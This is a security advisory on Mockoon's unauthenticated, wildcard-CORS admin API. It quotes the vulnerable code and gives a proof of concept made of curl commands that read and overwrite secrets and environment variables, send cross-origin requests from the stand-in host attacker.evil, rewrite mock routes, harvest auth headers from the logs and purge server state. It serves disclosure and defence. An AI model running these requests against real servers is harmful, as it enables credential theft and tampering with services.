GHSA-rqx4-3f6q-3x2v

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

• Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
• Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
• Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
• Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
• Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

PoC

Live reproduction (2026-05-11, @mockoon/[email protected])

npm install @mockoon/[email protected]. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

Impact

In typical local-dev mode (CVSS 8.8 High):

• Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
• Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
• Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
• Auth-token harvesting via transaction logs / SSE stream.
• State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

• All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

Suggested fix

1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
2. Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
5. Add SECURITY.md with disclosure instructions.
6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.